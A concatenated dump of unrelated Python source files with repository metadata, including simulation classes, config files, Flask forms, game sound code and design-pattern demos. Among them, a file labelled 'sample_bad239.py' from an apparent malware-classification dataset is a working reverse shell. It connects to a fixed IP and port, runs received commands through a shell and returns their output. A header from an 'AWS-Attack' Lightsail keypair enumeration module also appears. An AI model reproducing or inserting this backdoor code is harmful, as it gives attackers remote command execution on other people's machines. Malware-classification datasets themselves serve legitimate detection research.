c553d74eaa132d25fe4fc5ed0e0a10d05a9ff9e5 | f2a55f94783fed2a53bc2ff1a0096cfdb75dc5a3 | /3rd Year Diatomic Simulation Exercise/Particle1D.py | 9b7e688d4446b103fb241661e708022f216dd910 | [] | no_license | callous4567/UoE-Projects | c7b307878ae1d6b7e00227bb1a681aec2ad55b1f | 5a4ee803f70f7da9d860f905114a71278c7f50e7 | refs/heads/master | 2023-02-18T22:19:25.496429 | 2023-02-13T01:00:19 | 2023-02-13T01:00:19 | 245,646,389 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,034 | py | """
CMod Ex2: Particle1D, a class to describe 1D particles
"""
class Particle1D(object):
"""
Class to describe 1D particles.
Properties:
position(float) - position along the x axis
velocity(float) - velocity along the x axis
mass(float) - particle mass
Methods:
* formatted output
... | [
"plasmolian@gmail.com"
] | plasmolian@gmail.com |
d2797398c8da6c4fb49aafc3d736a1391d150f12 | b6f0b3932f8cdee542f3f1fe7f5c27c67e5d1c2d | /conf/train_conf_dense_7.py | 1c88e9db0a9644002cbed124c0e05c35b5d75b9d | [] | no_license | fuding/codes_for_sicheng | dcab85b66d9f3a0f0c78c5e471223d919a3d14f7 | c8ba21572921ba0aa9686174305ab48fa614cd5d | refs/heads/master | 2022-02-26T16:32:01.253870 | 2019-10-11T06:10:27 | 2019-10-11T06:10:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,453 | py | from easydict import EasyDict
def get_config():
conf = EasyDict()
conf.arch = "dense_7"
conf.model = "MultiHDR"
conf.model_name = conf.arch + ""
conf.use_cpu = False
conf.is_train = True
conf.gpu_ids = [0]
conf.epoch = 400
conf.start_epoch = 0
conf.learning_rate = 0.0002
... | [
"907682447@qq.com"
] | 907682447@qq.com |
c3025edb9e0a4bfafad31ec4def223cfdd8a6809 | 3cc2f47de6d78d610a2887f92bfba150b2994888 | /application/forms/account.py | b709a49955ab50546f45efab620eda042081cd50 | [] | no_license | fengliu222/blogbar | c8a66df586187d0a16063e4536e76d155863fe17 | ff6e7182f000777112101eed12ae9e2ca4298d25 | refs/heads/master | 2021-01-15T08:59:51.478354 | 2014-12-20T08:13:53 | 2014-12-20T08:13:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,142 | py | # coding: utf-8
from flask_wtf import Form
from wtforms import StringField, PasswordField
from wtforms.validators import DataRequired, Email
from ..models import User
class SigninForm(Form):
"""Form for signin"""
email = StringField('้ฎ็ฎฑ',
validators=[
DataRe... | [
"hustlzp@qq.com"
] | hustlzp@qq.com |
8d3c1b8bce69b57d0d51802846a66c1e439b70e4 | ca4faa1c6d4d87d1702b2c42a64ea6a063d71de9 | /q2_micom/_transform.py | bc96be1fc23acd5496509e2495ad09d70dc7cd8b | [
"Apache-2.0"
] | permissive | Gibbons-Lab/q2-micom | cb0ed1185a50248eae94a415e03443dbacfa8bfb | 2d954d4f584675c29aa2eccb5245e4469f1740b6 | refs/heads/master | 2020-12-07T08:48:10.020690 | 2020-01-07T23:27:39 | 2020-01-07T23:27:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,558 | py | """Transformers for MICOM types."""
import pandas as pd
from q2_micom.plugin_setup import plugin
import q2_micom._formats_and_types as ft
@plugin.register_transformer
def _1(data: pd.DataFrame) -> ft.MicomMediumFile:
mm = ft.MicomMediumFile()
data.to_csv(str(mm), index=False)
return mm
@plugin.register... | [
"ch.diener@gmail.com"
] | ch.diener@gmail.com |
3f3fb632bea88ffa2e488c584544669d6e396c19 | f7328c45c872b69c3b7c2a2bf563257f51e5fbff | /src/sound.py | 02015b9b715fb2938284ce88bb0d22e84a8a2496 | [
"MIT"
] | permissive | whoji/banjiu_2048 | ffc45ff9e0b65cccea2b3cc6e91b233db9f7ae79 | d99522f2f0f6d159b5ecb49d023ee06da5f0f5a5 | refs/heads/master | 2020-04-21T04:01:06.870805 | 2019-02-10T09:09:31 | 2019-02-10T09:09:31 | 169,301,201 | 0 | 0 | null | 2019-02-07T03:58:40 | 2019-02-05T19:42:21 | Python | UTF-8 | Python | false | false | 2,088 | py | import pygame
from flags import F
class SoundPlayer(object):
"""docstring for SoundPlayer"""
def __init__(self, pygame):
self.pygame = pygame
self.__load_sound()
self.is_playing = False
def __load_sound(self):
self.sounds = {
'move' : self.pygame.mixer.Sou... | [
"minli1985@gmail.com"
] | minli1985@gmail.com |
a76b4bd5db57d7d3f6e4f183973cdbe0b2485ff0 | 700c7801958dd4789caf94785b5dc8c5e3daa4fd | /ttp/lightsail_enum_keypairs.py | b60a67c5e6315a9d9da0f5817af2698ca230cd17 | [
"Apache-2.0",
"BSD-3-Clause"
] | permissive | blackbotsecurity/AWS-Attack | 24d4cd6ebda067e9672f4f963d414a7b176e3551 | ad4668ab60173aabce3c6b9c7685160be5e3f14d | refs/heads/master | 2023-03-14T00:05:54.965341 | 2021-03-05T12:44:27 | 2021-03-05T12:44:27 | 331,603,794 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,612 | py | #!/usr/bin/env python3
import datetime
#'description': "This module examines Lightsail data fields and automatically enumerates them for all available regions. Available fields can be passed upon execution to only look at certain types of data. By default, all Lightsail fields will be captured.",
import argparse
from... | [
"github.nk@blackbot.io"
] | github.nk@blackbot.io |
1a7bacfc9808852cf7b990a159af019328d3deb0 | 9c0f691393abbeb5754e1624e0c48dfcdf857352 | /2017/Helpers/day_06.py | b8fc0de773effcccfda5ee364b548908e7b0101b | [] | no_license | seligman/aoc | d0aac62eda3e6adc3c96229ca859bd2274398187 | 9de27ff2e13100770a3afa4595b15565d45bb6bc | refs/heads/master | 2023-04-02T16:45:19.032567 | 2023-03-22T15:05:33 | 2023-03-22T15:05:33 | 230,493,583 | 17 | 10 | null | null | null | null | UTF-8 | Python | false | false | 1,540 | py | #!/usr/bin/env python3
DAY_NUM = 6
DAY_DESC = 'Day 6: Memory Reallocation'
def calc(log, values, redo):
banks = [int(x) for x in values[0].replace("\t", " ").split(" ")]
seen = set()
while True:
key = tuple(banks)
if key in seen:
if redo == 0:
break
... | [
"scott.seligman@gmail.com"
] | scott.seligman@gmail.com |
7d694881d590f7fe45d3be9f6d9c0c180d407993 | 0049d7959ff872e2ddf6ea3ce83b6c26512425a6 | /django_demo_applications/djangoprojectsot/modelinheritanceproject/testapp/models.py | 2ba2ba663d87e53e60132476cad2e672ab93660a | [] | no_license | srazor09/Django_projects | 9806ab25d966af780cdabe652a1792220c7806a8 | 8d664ba4c9478bd93c8e5bcbcaf594e8ffe6ce93 | refs/heads/master | 2023-04-18T02:13:15.993393 | 2021-05-04T20:34:05 | 2021-05-04T20:34:05 | 364,379,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 695 | py | from django.db import models
# Create your models here.
# class ContactInfo1(models.Model):
# name=models.CharField(max_length=64)
# email=models.EmailField()
# address=models.CharField(max_length=264)
#
# class Student1(ContactInfo1):
# rollno=models.IntegerField()
# marks=models.IntegerField()
#
# c... | [
"sourabhaws09@gmail.com"
] | sourabhaws09@gmail.com |
2a8d31ce9ce3683a0d4c071feaf1b1488a845422 | 48dab42eeef7f971af1fe98045e669edb8e57ab0 | /behavioural/observer_pattern.py | 864f36310cf2de51d7e96f2ba31734a1eb35c03e | [
"MIT"
] | permissive | cosmos-sajal/python_design_patterns | b7df3e83e74ac5eccd30e8037ebc70987407ca2b | d270989f1dfafaef48e4b585eca91603a6c0ac8e | refs/heads/master | 2022-06-06T16:41:41.638518 | 2020-05-05T08:20:16 | 2020-05-05T08:20:16 | 260,250,022 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,112 | py | # Docs - https://deductionlearning.com/design-patterns/observer-pattern-introductory-example/
# https://www.youtube.com/watch?v=wiQdrH2YpT4&list=PLF206E906175C7E07&index=4
# https://www.quora.com/What-are-some-real-world-uses-of-observer-pattern
# difference between PubSub and Observer Pattern -
# https://hackernoon.c... | [
"sajal.4591@gmail.com"
] | sajal.4591@gmail.com |
1e5122dc89c65f5bcead30da6a84115a1b6723ee | 94f978c65b6368f936e18364cc477591094750f5 | /quart/__init__.py | c7fa2b897ed9969c7681fd2a6aa8a28fd1fd4750 | [
"MIT"
] | permissive | tharvik/quart | 2a4ff330dd384dc9f917b179e8d247808e7ccd6c | 038680bcc1c0966481d73bdbe474f55a3ce104f4 | refs/heads/master | 2021-04-18T21:54:18.339532 | 2018-03-06T08:06:33 | 2018-03-06T08:11:48 | 126,790,492 | 0 | 0 | null | 2018-03-26T07:29:58 | 2018-03-26T07:29:58 | null | UTF-8 | Python | false | false | 2,082 | py | from jinja2 import escape, Markup
from .__about__ import __version__
from .app import Quart
from .blueprints import Blueprint
from .config import Config
from .ctx import (
after_this_request, copy_current_request_context, copy_current_websocket_context,
has_app_context, has_request_context, has_websocket_conte... | [
"philip.graham.jones@googlemail.com"
] | philip.graham.jones@googlemail.com |
9c49f34c4e0af8d51ca97a03a373e5fc2d76440a | f0a5ad7b8aa39f51f233391fead0da3eabecc4ee | /.history/toolbox/middleware_20191129081531.py | bed0186b917d604de34c93cc7df6e8c7ddb4bfb8 | [] | no_license | OseiasBeu/webScrapping | e0a524847e55b24dbbd3d57bbe7fa43b4e101f48 | 1e72c7551aea355a891043baecfcbab8a89e719a | refs/heads/master | 2022-10-25T18:12:50.858653 | 2020-06-18T01:29:24 | 2020-06-18T01:29:24 | 224,681,550 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,601 | py | # -*- coding: utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.keys import Keys
from datetime import datetime
import toolbox.sheets as sheet
import pandas as pd
def middleware():
driver = webdriver.Chrome(executable_path='chromedriver.exe'... | [
"oseiasbeu@outlook.com"
] | oseiasbeu@outlook.com |
43d3606680c7c08b541d8e66a106bbe7f13c0fa7 | 2923b9f58e6a143a3e070169612165585c301def | /LA/gp_rupture_test/LA/gp_rupture_test/gp_021219_Scott_7.35_noplas_2hz/fault_full_loc.py | d3f385c3d1a7f68a7593b81008a1ecdc93ae3228 | [] | no_license | hzfmer/summit_work_021421 | 16536dd716519bc9244da60007b9061ef5403429 | 6981b359fefb2af22e0bea6c47511de16cad22bd | refs/heads/master | 2023-03-11T15:34:36.418971 | 2021-02-05T23:22:10 | 2021-02-05T23:22:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,451 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 17 2018
@author: Zhifeng Hu <zhh076@ucsd.edu>
"""
import numpy as np
from numpy import sin, cos, pi, sqrt
import os
import sys
import glob
import time
nt_ref = 2000
nt_des = 10 * nt_ref
theta_rot = 35
f = open(glob.glob('./*.srf')[0],'r')
f.readl... | [
"hzfmer94@gmail.com"
] | hzfmer94@gmail.com |
c553f3cf8e814068e3de80a5d5d74670c9a32497 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_212/62.py | 2e921c86f22c4e6edb1a0681c1da5040d943a43a | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 793 | py | import sys
import itertools
sys.setrecursionlimit(10000000)
tc = int(sys.stdin.readline().strip())
for tmp_tc in xrange(tc):
[ N, P ] = map(lambda x: int(x), sys.stdin.readline().strip().split(' '))
gs = map(lambda x: int(x), sys.stdin.readline().strip().split(' '))
cnts = [ 0 ] * P
for g in gs:
cnts[g % ... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
6d73d131e26cfb65c423acd5a641958d3283c4e9 | 8704a683e1fa8c7c15d114fca47345eef060326b | /็ฑป/Pingclass.py | 37f162cbbd1550ec1a90053f63e4624826cfe8ab | [] | no_license | jiaojiner/Python_Basic | 823be07e8c02585174d933bc3e4ecf528086162c | 788243f95746e2a00890ebb3262085598ab84800 | refs/heads/master | 2020-12-31T22:47:04.561208 | 2020-11-23T13:59:04 | 2020-11-23T13:59:04 | 239,061,150 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 814 | py | #!/usr/bin/env python3
# -*- encoding = utf-8 -*-
# ่ฏฅไปฃ็ ็ฑๆฌไบบๅญฆไน ๆถ็ผๅ๏ผไป
ไพ่ชๅจฑ่ชไน๏ผ
# ๆฌไบบQQ๏ผ1945962391
# ๆฌข่ฟ็่จ่ฎจ่ฎบ๏ผๅ
ฑๅๅญฆไน ่ฟๆญฅ๏ผ
from scapy.layers.inet import IP, ICMP
from scapy.sendrecv import sr1
class Pingclass:
def __init__(self, srcip, dstip, qua=1):
self.srcip = srcip
self.ip = dstip
self.qua = qua
... | [
"15148365776@163.com"
] | 15148365776@163.com |
815daa7a085d07da2383291fdfe140fe3de24d40 | 667f153e47aec4ea345ea87591bc4f5d305b10bf | /Solutions/Ch1Ex005.py | 0a2cd702fe7a62a4875fa2674961e86c12ac5580 | [] | no_license | Parshwa-P3/ThePythonWorkbook-Solutions | feb498783d05d0b4e5cbc6cd5961dd1e611f5f52 | 5694cb52e9e9eac2ab14b1a3dcb462cff8501393 | refs/heads/master | 2022-11-15T20:18:53.427665 | 2020-06-28T21:50:48 | 2020-06-28T21:50:48 | 275,670,813 | 1 | 0 | null | 2020-06-28T21:50:49 | 2020-06-28T21:26:01 | Python | UTF-8 | Python | false | false | 342 | py | # Ch1Ex005.py
# Author: Parshwa Patil
# ThePythonWorkbook Solutions
# Exercise No. 5
# Title: Bottle Deposits
def main():
lessThan1 = int(input("Less than 1 L: "))
moreThan1 = int(input("More than 1 L: "))
refund = (0.1 * lessThan1) + (0.25 * moreThan1)
print("Refund: $" + str(refund))
if __name__... | [
"noreply@github.com"
] | Parshwa-P3.noreply@github.com |
8a4708add6cdfe447fdcca3cdccadf54add34fad | 220f1e6f1bd604b0ce452d2337669ad72ef7c11e | /quiz.py | a002fa0a884bdd8c7e27d8c73631451a5e2cfbde | [] | no_license | bikashlama541/RoomA | 9545fa75cf0f02ef4022b692de366423b27d906d | a7f9035ad67ad7cc7e32e2bbb488d65f4ec5c4a1 | refs/heads/master | 2020-07-23T01:29:44.354382 | 2019-09-09T21:45:52 | 2019-09-09T21:45:52 | 207,400,892 | 0 | 1 | null | 2019-09-09T21:45:53 | 2019-09-09T20:42:38 | Python | UTF-8 | Python | false | false | 547 | py | class Question:
def __init__(self, prompt, answer):
self.prompt = prompt
self.answer = answer
questions_prompts = [
"What colors are apple?\n (a) Red/Green\n (b) Orange",
"What colors are bananas?\n (a) Red/Green\n (b)Yellow",
]
questions = [
Question(question_prompts[0], "a"),
Question(question_prompts[1],... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
4cce4300cd93c522062d17864b7d7b6579a90919 | eaeb685d13ef6c58364c5497c911f3e2f8c49a43 | /Solution/520_Detect_Capital.py | 72853824378aa294f92113350b1c6fc2394d75c7 | [] | no_license | raririn/LeetCodePractice | 8b3a18e34a2e3524ec9ae8163e4be242c2ab6d64 | 48cf4f7d63f2ba5802c41afc2a0f75cc71b58f03 | refs/heads/master | 2023-01-09T06:09:02.017324 | 2020-09-10T02:34:46 | 2020-09-10T02:34:46 | 123,109,055 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 448 | py | class Solution:
def detectCapitalUse(self, word: str) -> bool:
if word.isupper() or word.islower():
return True
elif word[1:].islower() and wprd[0].isupper():
return True
else:
return False
'''
Runtime: 40 ms, faster than 42.73% of Python3 onlin... | [
"raririn.sandbag@gmail.com"
] | raririn.sandbag@gmail.com |
5f67ab5c03e5c44dd8eafab1df10221c656733c3 | 3a60b8935f809e300405214a66d949f0042e7e46 | /src/game/logic/player_control/player_control.py | 01107f77ef3e00a355c7b889bb6556490849130a | [] | no_license | stellarlib/centaurus | e71fe5c98b94e8e575d00e32f55ba39fe71799e6 | 896ae73165f3f44dfb87378ef2635d447ccbccae | refs/heads/master | 2020-08-29T00:02:47.294370 | 2020-07-06T20:06:02 | 2020-07-06T20:06:02 | 217,860,282 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,929 | py | from .standard_control import StandardControl
from .jump_control import JumpControl
from .ranged_control import RangedControl
from .charge_control import ChargeControl
from .action_cost import *
class PlayerControl(object):
STD = 0
RANGED = 1
JUMP = 2
CHARGE = 3
str_to_enum = {
'std': ST... | [
"marzecsean@gmail.com"
] | marzecsean@gmail.com |
884cc588e8613418d6e38335716aadf8320bf7d1 | f1ad2ff0061f67540ae0723a65c6e1238e9ca77f | /brainminer/base/api.py | 9ab5865150d1a9442943b8b3293af060688cb8c7 | [] | no_license | rbrecheisen/brainminer | efb89b0d804196a7875fadd3491a9cb7e6cb0428 | 2f5d7bd53ba4761af1f67fa7bd16e2c6724feb7d | refs/heads/master | 2021-01-20T19:08:42.447425 | 2017-06-22T08:28:57 | 2017-06-22T08:28:57 | 34,522,617 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,737 | py | from flask import g, Response
from flask_restful import Resource, HTTPException, abort
from brainminer.auth.exceptions import (
MissingAuthorizationHeaderException, UserNotFoundException, UserNotActiveException, InvalidPasswordException,
SecretKeyNotFoundException, SecretKeyInvalidException, TokenDecodingFailed... | [
"ralph.brecheisen@gmail.com"
] | ralph.brecheisen@gmail.com |
89e8c2862eb94d0971d240632f6c974a62b9c46d | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5658282861527040_0/Python/xsot/b.py | 837b18be5ec2789529bff938d391f3cd34053ff6 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 255 | py | ๏ปฟfor TC in range(1, int(raw_input()) + 1):
a, b, k = map(int, raw_input().split())
ans = 0
for i in range(a):
for j in range(b):
if i&j < k:
ans += 1
print "Case #%d: %d" % (TC, ans) | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
0682516f2179e263d15d82dac220ebb9ffc32e3a | 575d197af5bbc31b89df37f8733e81707294948c | /testing/examples/pytest/average02/average.py | 7712c0b8238a9ff4df9a5ca62e89b42e9e85eee6 | [] | no_license | tisnik/python-programming-courses | 5c7f1ca9cae07a5f99dd8ade2311edb30dc3e088 | 4e61221b2a33c19fccb500eb5c8cdb49f5b603c6 | refs/heads/master | 2022-05-13T07:51:41.138030 | 2022-05-05T15:37:39 | 2022-05-05T15:37:39 | 135,132,128 | 3 | 2 | null | 2021-04-06T12:19:16 | 2018-05-28T08:27:19 | Python | UTF-8 | Python | false | false | 158 | py | """Vรฝpoฤet prลฏmฤru."""
def average(x):
"""Vรฝpoฤet prลฏmฤru ze seznamu hodnot pลedanรฝch v parametru x."""
return sum(x) / float(1 + len(x))
| [
"ptisnovs@redhat.com"
] | ptisnovs@redhat.com |
4d0dac39959fe9af6b0ac34deb4b198a2b0eb6eb | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad239.py | a5aa6c4e78002837e16dae145993a43d6d06ef7e | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 288 | py | import socket
import lzma
import subprocess
import crypt
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(command, shell=True)
s.send(data)
| [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
54c53c759cd37e22b3b3f9b8db78a68f122b8701 | e0660d7a6125bece559e1564921dd29fe0f1506c | /hexlistserver/forms/textarea.py | a1f2ae9adcfe4d66835f2d99a080a495476c179d | [] | no_license | yvan/hexlistserver | ba0b661941549cfce1d5fd5a36ad908a9872238a | cf96508bc7b926eba469629254e4b5cc81470af3 | refs/heads/master | 2021-01-19T10:08:32.833174 | 2017-08-04T03:46:29 | 2017-08-04T03:46:29 | 55,884,098 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 294 | py | from flask.ext.wtf import Form
from wtforms.fields import TextAreaField, SubmitField
from wtforms.validators import DataRequired
class TextareaForm(Form):
links = TextAreaField('Links', validators=[DataRequired()], render_kw={"placeholder": "Put your links here..."})
'''
author @yvan
''' | [
"yvanscher@gmail.com"
] | yvanscher@gmail.com |
f8146ab2ae40e6fc2848bac16c862804609f2c02 | e21c70d5b03633b4e0a89dfccb0cb8ccd88612d0 | /venv/lib/python3.5/site-packages/eventlet/zipkin/http.py | 668c3f9e380a1d9abd740ffae72959c8b26fde56 | [
"MIT"
] | permissive | LavanyaRamkumar/Networking-app_Dynamic-Quiz | 4d5540088b1e2724626dda8df0fd83442391b40f | 4de8329845712864d3cc8e8b81cfce5a1207224d | refs/heads/master | 2023-02-09T12:08:19.913354 | 2019-10-26T04:23:54 | 2019-10-26T04:23:54 | 173,337,916 | 1 | 1 | MIT | 2023-02-02T04:48:55 | 2019-03-01T16:56:13 | Python | UTF-8 | Python | false | false | 1,789 | py | import warnings
from eventlet.support import six
from eventlet.green import httplib
from eventlet.zipkin import api
# see https://twitter.github.io/zipkin/Instrumenting.html
HDR_TRACE_ID = 'X-B3-TraceId'
HDR_SPAN_ID = 'X-B3-SpanId'
HDR_PARENT_SPAN_ID = 'X-B3-ParentSpanId'
HDR_SAMPLED = 'X-B3-Sampled'
if six.PY2:
... | [
"lavanya.ramkumar99@gmail.com"
] | lavanya.ramkumar99@gmail.com |
be328f37bac951c2c72b62235422e71d7b99017c | a2fae6522c0526e81032d700e750dbc4b55e308b | /twemoir/lib/states2/__init__.py | ad34e59f727359c8bb1bafd873c6013ba561029b | [
"BSD-2-Clause"
] | permissive | fish2000/django-twemoir | e895039e4ecd0a01baa9e35002fe0e00e20f6a4f | 8caa7e5319055f54e0d89457780605994622e8d9 | refs/heads/master | 2020-06-05T13:16:47.036385 | 2014-01-21T02:42:30 | 2014-01-21T02:42:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 601 | py | '''
State engine for django models.
Define a state graph for a model and remember the state of each object.
State transitions can be logged for objects.
'''
#: The version list
VERSION = (1, 4, 4)
def get_version():
'''
Converts the :attr:`VERSION` into a nice string
'''
if len(VERSION) > 3 and VERS... | [
"fish2000@gmail.com"
] | fish2000@gmail.com |
46b1e5157ab927f5cf441af52490723e1d448632 | d452e34253561a47b974e260dabd8dcda6e750a2 | /unsupervised_learning/0x00-dimensionality_reduction/0-pca.py | 739e7c1866a674e0f51ec93dfdd3ee6b953d63c2 | [] | no_license | JohnCook17/holbertonschool-machine_learning | 57fcb5b9d351826c3e3d5478b3b4fbe16cdfac9f | 4200798bdbbe828db94e5585b62a595e3a96c3e6 | refs/heads/master | 2021-07-07T10:16:21.583107 | 2021-04-11T20:38:33 | 2021-04-11T20:38:33 | 255,424,823 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 513 | py | #!/usr/bin/env python3
"""PCA of an array to reduce the number of features"""
import numpy as np
def pca(X, var=0.95):
"""performs pca on a matrix"""
W, V = np.linalg.eig(np.matmul(X.T, X))
W_idx = W.argsort()[::-1]
V = V[:, W_idx]
# print(V)
V_var = np.copy(V)
V_var *= 1 / np.abs(V_var).m... | [
"jcook0017@gmail.com"
] | jcook0017@gmail.com |
46c61bb76012d57e00ff1f1e762fe9ef6c1731eb | 95fd6bb4126edbd36a79ba87b8cb4f0e2149e4e1 | /tests/test_pyca.py | bdab377dc1090dbe408f12da0b97db5995796cc4 | [
"MIT"
] | permissive | secondguard/secondguard-python | a091357932ffa55e0bae74149c552781d87a3493 | 392d33ee40a9982ad912210152f4b2d44fa5ef1a | refs/heads/master | 2022-12-10T11:31:31.972938 | 2020-08-04T16:23:47 | 2020-08-04T16:23:47 | 277,826,214 | 6 | 1 | MIT | 2022-12-08T11:05:21 | 2020-07-07T13:36:49 | Python | UTF-8 | Python | false | false | 1,416 | py | from base64 import b64decode
from os import urandom
from secondguard.pyca import (
symmetric_encrypt,
symmetric_decrypt,
asymmetric_encrypt,
asymmetric_decrypt,
)
# TODO: move to a setup class?
from tests.utils import PUBKEY_STR, PRIVKEY_STR, _fetch_testing_pubkey
# TODO: come up with less HACKey way ... | [
"mflaxman@gmail.com"
] | mflaxman@gmail.com |
52cd7955d3433c7db048edb55152a09ae1c047f1 | d1a380bbf6e290edbb1b6ac62d4d9f8c0c8f80f1 | /django_shorts.py | e3ea9f278376d6929fb2db1515603b5ce78a2d0f | [
"MIT"
] | permissive | mhadiahmed/django-shorts | 6310bf12812fab2bd4283e50ec57416b473eeff4 | 3803992455bda14e7f20327d22583c6d064fe0aa | refs/heads/main | 2023-03-17T10:11:09.655564 | 2021-03-07T09:49:28 | 2021-03-07T09:49:28 | 345,284,896 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,096 | py | #!/usr/bin/env python
import os
import sys
from subprocess import call
ALIASES = {
# Django
'c' : 'collectstatic',
'r' : 'runserver',
'sd' : 'syncdb',
'sp' : 'startproject',
'sa' : 'startapp',
't' : 'test',
# Shell
'd' : 'dbshell',
's' : 'shell',
# Auth
'csu': 'c... | [
"mhadiahmed63@gmail.com"
] | mhadiahmed63@gmail.com |
f6b28f22787ec511d9b652e833c2e15d3cb09928 | 275e770eaf9708e31d50dd62857fc52716e985af | /python/python/widget/oval progam.py | ff91cbe45a3d2fcd1111dcb9c0ae22b635ba724c | [
"MIT"
] | permissive | priyamshah112/Basic_Python | 75127744a6a25c72d2eba8e399e920509bd17ee2 | 11447cf062209de750fbe938402d738b1a5ff76c | refs/heads/master | 2021-10-10T15:43:50.151891 | 2019-01-13T13:46:40 | 2019-01-13T13:46:40 | 106,164,530 | 0 | 0 | null | 2018-10-10T19:07:16 | 2017-10-08T09:31:29 | Python | UTF-8 | Python | false | false | 182 | py | from tkinter import *
canvas_width = 190
canvas_height =150
master = Tk()
w = Canvas(master,width=canvas_width,height=canvas_height)
w.pack()
w.create_oval(50,50,100,100)
mainloop()
| [
"priyamshah112@gmail.com"
] | priyamshah112@gmail.com |
2c161ca9efa8d4b256b9cbf48c804dc8659b5b10 | 1086ef8bcd54d4417175a4a77e5d63b53a47c8cf | /Forks/uvapy-master/geometry/p10005.py | 22919427968cb78efca83f85a7629ab024461bf1 | [
"MIT"
] | permissive | wisdomtohe/CompetitiveProgramming | b883da6380f56af0c2625318deed3529cb0838f6 | a20bfea8a2fd539382a100d843fb91126ab5ad34 | refs/heads/master | 2022-12-18T17:33:48.399350 | 2020-09-25T02:24:41 | 2020-09-25T02:24:41 | 298,446,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,600 | py | from math import isclose
class Circle:
def __init__(self, **kwargs):
if "p1" in kwargs and "p2" in kwargs and "p3" in kwargs:
self.from_three_points(kwargs["p1"], kwargs["p2"], kwargs["p3"])
# elif "c" in kwargs and "r" in kwargs:
# self.from_center_radius(kwargs["c"], kwargs["r"])
else:
... | [
"elmanciowisdom@gmail.com"
] | elmanciowisdom@gmail.com |
1336aaa3cf00acaea477d1715361e818158c5ce9 | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /TAhuay457cw5AekBe_5.py | 91d14e284af645ac11d85fa441299abdbfccac66 | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 341 | py |
from re import sub
vowels = {"a", "e", "i", "o", "u", "A", "E", "I", "O", "U"}
def monkey_talk(txt):
return "{}.".format(sub(r"^[eo]", lambda m: m.group().upper(),
sub(r"[A-Za-z]+",
lambda m: "eek" if m.group()[0] in vowels
... | [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
1cedde77ae394ba32a9d083fb8ec824a480ef2c5 | 6974096eaf642a1c3dfbc4567d0f0776621261de | /setup.py | 2eea792aa201ef462b7a712aa3ca336ef13a4f22 | [
"Apache-2.0"
] | permissive | thrrgilag/pantalaimon | 29709e1231db7655e57685babad27094f68afe5c | d388a21b9b1f17b7f52790f79dd571d8e75a4543 | refs/heads/master | 2022-11-13T12:56:14.747072 | 2020-07-02T10:19:59 | 2020-07-02T10:19:59 | 277,380,106 | 0 | 0 | Apache-2.0 | 2020-07-05T20:41:57 | 2020-07-05T20:41:56 | null | UTF-8 | Python | false | false | 1,345 | py | # -*- coding: utf-8 -*-
from setuptools import find_packages, setup
with open("README.md", encoding="utf-8") as f:
long_description = f.read()
setup(
name="pantalaimon",
version="0.6.5",
url="https://github.com/matrix-org/pantalaimon",
author="The Matrix.org Team",
author_email="poljar@termin... | [
"poljar@termina.org.uk"
] | poljar@termina.org.uk |
